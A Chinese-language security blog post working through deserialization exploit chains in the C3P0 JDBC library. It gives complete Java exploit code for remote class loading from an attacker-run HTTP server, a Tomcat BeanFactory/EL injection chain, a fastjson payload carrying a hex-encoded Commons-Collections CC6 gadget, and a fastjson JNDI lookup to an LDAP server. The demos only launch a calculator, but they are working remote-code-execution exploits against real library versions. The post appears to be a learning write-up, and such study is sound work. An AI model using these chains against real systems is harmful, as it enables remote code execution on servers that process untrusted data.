ORXIAIN ISLAND
博客 / BLOG POST
2025 - 2026
READING

JavaSec - C3P0反序列化利用

+

C3P0是一个开源的JDBC连接池库,它实现了数据源和JNDI绑定功能,支持JDBC3规范和JDBC2的标准扩展,通常用于需要频繁访问数据库的Java应用程序中

    <dependencies>
        <dependency>
            <groupId>com.mchange</groupId>
            <artifactId>c3p0</artifactId>
            <version>0.9.5.2</version>
        </dependency>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>
<!--        本地类加载依赖-->
        <dependency>
            <groupId>org.apache.tomcat</groupId>
            <artifactId>tomcat-catalina</artifactId>
            <version>8.5.0</version>
        </dependency>
        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-el</artifactId>
            <version>8.5.15</version>
        </dependency>
    </dependencies>

URLClassLoader远程类加载

PoolBackedDataSourceBase.readObject() 
→ ReferenceIndirector$ReferenceSerialized.getObject() 
→ ReferenceableUtils.referenceToObject() 
→ URLClassLoader加载远程类

关注到PoolBackedDataSourceBase.readObject(),它将o强制转换为IndirectlySerialized的对象并调用了其getobject方法

IndirectlySerialized实接口继承了序列化,其只有一个实现类`ReferenceSerialized`

这里有个lookup,想看看能不能用来打JNDI,但contextname不是很能控制,没有方法可以设置这个值

referenceToObject调用URLCLassLoader加载类

那么链子不复杂,主要是exp的构造

我们需要构造一个ReferenceSerialized对象传入ref,而ReferenceSerialized的构造方法在indirectForm方法中调用

indirectForm在PoolBackedDataSourceBase的writeobject中被调用,第一个try会因为connectionPoolDataSource没有继承tSerializable而进入第二个try触发indirectForm

再看到indirectForm方法的ref来自参数对象的getReference方法,那么手搓一个实现了_Referenceable_和_ConnectionPoolDataSource_接口的类,将它writeobject触发ReferenceSerialized构造方法,便可方便的将ref属性写入

再看到上面的截图,fClassName和fClassLocation属性是从ref的FactoryClassName和FactoryLocation拿到的,所以我们将getReferance方法重写为直接返回一个新的Referance对象即可,属性改为python起的文件服务器即可

EXP

package com.orxiain;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import javax.sql.DataSource;
import java.io.*;

public class C3P0000 {
    public static class C3P0001 implements Referenceable, ConnectionPoolDataSource {
        @Override
        public Reference getReference() throws NamingException {
            return new Reference("com.orxiain.clac", "com.orxiain.calc","http://127.0.0.1:18080/");
        }

        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        @Override
        public void setLoginTimeout(int seconds) throws SQLException {

        }

        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }
    }

    public static ByteArrayOutputStream unSerial(Object obj) throws Exception{
        ByteArrayOutputStream bs = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(bs);
        out.writeObject(obj);
        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
        in.readObject();
        in.close();
        return bs;
    }

    public static void setFiled(Object o, String fieldname, Object value) throws Exception {
        Field field = o.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(o, value);
    }

    public static void main(String[] args) throws Exception {
        C3P0001 c3P0001 = new C3P0001();
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
        setFiled(poolBackedDataSourceBase, "connectionPoolDataSource", c3P0001);
        unSerial(poolBackedDataSourceBase);
    }
}

然后我们准备一个calc类,在静态代码块执行弹计算器

package com.orxiain;

public class calc {
    static {
        try {
            Runtime.getRuntime().exec("xcalc");
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

编译成class,运行`mkdir -p ./com/orxiain/`,将clac.class移动到创建的目录下,python起文件服务器

用urlclassloader不走rmi和ldap,感觉适用范围还是挺广的

https://tttang.com/archive/1886/

BeanFactory本地类加载

需要tomcat依赖,基本上就是上面的URLClassLoader的链子,我们使用ResourceRef(是Reference的子类)实现,指定实现类为javax.el.ELProcessor,直接指定工厂类org.apache.naming.factory.BeanFactory,forceString=faster=eval:这告诉BeanFactory将”faster”属性强制绑定到”eval”方法

想试试使用Reference实现而不是ResourceRef,但好像不太可行,大概是ResourceRef有些什么特性

EXP

package com.orxiain;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
import java.io.*;

public class C3P0Tomcat {
    public static class C3P0Tomcat_ implements Referenceable, ConnectionPoolDataSource {
        @Override
        public Reference getReference() throws NamingException {
            ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
            resourceRef.add(new StringRefAddr("forceString", "faster=eval"));
            resourceRef.add(new StringRefAddr("faster", "Runtime.getRuntime().exec(\"calc\")"));
            return resourceRef;
        }

        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }

        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {

        }

        @Override
        public void setLoginTimeout(int seconds) throws SQLException {

        }

        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }

        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }

        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }
    }

    public static ByteArrayOutputStream unSerial(Object obj) throws Exception{
        ByteArrayOutputStream bs = new ByteArrayOutputStream();
        ObjectOutputStream out = new ObjectOutputStream(bs);
        out.writeObject(obj);
        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
        in.readObject();
        in.close();
        return bs;
    }

    public static void setFiled(Object o, String fieldname, Object value) throws Exception {
        Field field = o.getClass().getDeclaredField(fieldname);
        field.setAccessible(true);
        field.set(o, value);
    }

    public static void main(String[] args) throws Exception {
        // System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
        // System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        C3P0Tomcat_ c3P0001 = new C3P0Tomcat_();
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
        setFiled(poolBackedDataSourceBase, "connectionPoolDataSource", c3P0001);
        unSerial(poolBackedDataSourceBase);
    }
}

HEX序列化字节加载器攻击

不出网怎么办?得想办法加载类打内存马,但是这个HEX链子只是个二次反序列化的中间过程,不是从readobject开始的,之前需要触发WrapperConnectionPoolDataSource的构造方法,之后需要结合CC等链子进一步利用

...
WrapperConnectionPoolDataSource#WrapperConnectionPoolDataSource->
C3P0ImplUtils#parseUserOverridesAsString->
SerializableUtils#fromByteArray->
SerializableUtils#deserializeFromByteArray->
...(这里又调用了readobject,接其他链子)

先来看向我们想利用的readobject在的方法

deserializeFromByteArray方法被SerializableUtils的fromByteArray调用,将得到的字节数组传入这个方法当中,而fromByteArray被C3P0ImplUtils#parseUserOverridesAsString调用,传入的serBytes属性在该方法内进行了一些处理⬇️

它将传入的userOverridesAsString字符串,将开头的`"HexAsciiSerializedMap"`和末尾`;`去掉,_fromHexAscii_方法将hex数据处理return回了bytes数组赋值给serBytes。再看到WrapperConnectionPoolDataSource的构造方法⬇️

这里的`this.getUserOverridesAsString()`返回了userOverridesAsStrings属性,那么这个属性用来放处理后的恶意序列化字符串的hex字节码即可

为了触发WrapperConnectionPoolDataSource的构造方法,一个比较简单的入口点是fastjson,我们指定@type属性为WrapperConnectionPoolDataSource,同时指定userOverridesAsString即可,成熟的fastjson会自己调用setter💖

EXP

这里以打CC6为例,进行ascii转hex的函数从源代码拿就行

package com.orxiain;

import com.alibaba.fastjson.JSON;

import java.io.*;
import com.orxiain.CC6;

import static com.mchange.lang.ByteUtils.*;

public class C3P0HEX {
    static void addHexAscii(byte b, StringWriter sw)
    {
        int ub = b & 0xff;
        int h1 = ub / 16;
        int h2 = ub % 16;
        sw.write(toHexDigit(h1));
        sw.write(toHexDigit(h2));
    }

    private static char toHexDigit(int h)
    {
        char out;
        if (h <= 9) out = (char) (h + 0x30);
        else out = (char) (h + 0x37);
        //System.err.println(h + ": " + out);
        return out;
    }

    public static String toHexAscii(byte[] bytes)
    {
        int len = bytes.length;
        StringWriter sw = new StringWriter(len * 2);
        for (int i = 0; i < len; ++i)
            addHexAscii(bytes[i], sw);
        return sw.toString();
    }

    public static void main(String[] args) throws Exception {
        String hex;
        // FileInputStream fis = new FileInputStream("cc6_calc");
        // byte[] payloadBytes = new byte[fis.available()];
        // fis.read(payloadBytes);
        // fis.close();

        ByteArrayInputStream bio = new ByteArrayInputStream(CC6.GetPayload("xcalc"));
        byte[] payloadBytes = new byte[bio.available()];
        bio.read(payloadBytes);
        bio.close();



        hex = toHexAscii(payloadBytes);
        String payload = "{" +
        "\"1\":{" +
        "\"@type\":\"java.lang.Class\"," +
        "\"val\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"" +
        "}," +
        "\"2\":{" +
        "\"@type\":\"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\"," +
        "\"userOverridesAsString\":\"HexAsciiSerializedMap:"+ hex + ";\"," +
        "}" +
        "}";
        System.out.println(payload);
        JSON.parse(payload);


    }
}

我把之前CC6的链子加了个return返回比特数组,方便调用

package com.orxiain;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;


public class CC6 {
    public static byte[] GetPayload(String execshell) throws Exception {
        byte[] payload;

        Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{execshell}),
                new ConstantTransformer(1),// 隐藏错误信息
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
        Map hashMap = new HashMap();
        Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
        TiedMapEntry key = new TiedMapEntry(decorate, "key");
        HashSet hashSet = new HashSet(1);
        hashSet.add(key);
//        HashMap map = new HashMap();
//        map.put(key, "value");
        decorate.remove("key");
        Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);

        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(hashSet);
        oos.close();
        return bos.toByteArray();
    }
}

关于fastjosn的payload,好像下面两种都可以⬇️,我用fastjosn1.2.24版本复现,第一种支持到1.2.47之前,在1.2.24之后的版本需要预先加载类(也就是payload1中的两个步骤),之前的版本较为宽松

JNDI攻击

... ->
JndiRefConnectionPoolDataSource#setLoginTimeout ->
WrapperConnectionPoolDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#setLoginTimeout ->
JndiRefForwardingDataSource#inner ->
JndiRefForwardingDataSource#dereference() ->
Context#lookup

省略调用链,我们先来看看lookup触发点

jndiName是个对象,在进行lookup的时候强制转换为了String,它是通过父类的getJndiName返回的,构造方法里无法控制,但是有个setter,那么这个工作可以交给fastjson了⬇️

再来看一下这个setter的逻辑,它将当前的jndiName赋给了oldVal,调用了eqOrBothNull判断这两个是否相等和时候同时为nul,如果不相等就会触发属性变更监听器,不太重要,重点是中间的,如果 jndiNameName 类型的对象,则调用 clone 方法进行克隆,以避免外部修改影响内部状态,如果 jndiName 不是 Name 类型的对象,则直接赋值,总之让fastjson干这个活就好

构造之后一跑,没出来,还有条件没有满足,才想起来setLoginTimeout这个setter得被调用,所以必须要设置LoginTimeout这个属性才能让fastjson去干这个活,总的来说这个链子还是比较简单的

package com.orxiain;

import com.alibaba.fastjson.JSON;

public class C3P0JNDI {
    public static void main(String[] args) throws Exception {
        String payload = "{" +
                "\"@type\":\"com.mchange.v2.c3p0.JndiRefConnectionPoolDataSource\"," +
                "\"jndiName\":\"ldap://127.0.0.1:43983\"," +
                "\"LoginTimeout\":\"0\"," +
                "}";

        JSON.parse(payload);
    }
}

Links

https://y4er.com/posts/java-expression-injection/

例题 https://www.cnblogs.com/EddieMurphy-blogs/p/18160178 可恶找不到附件

END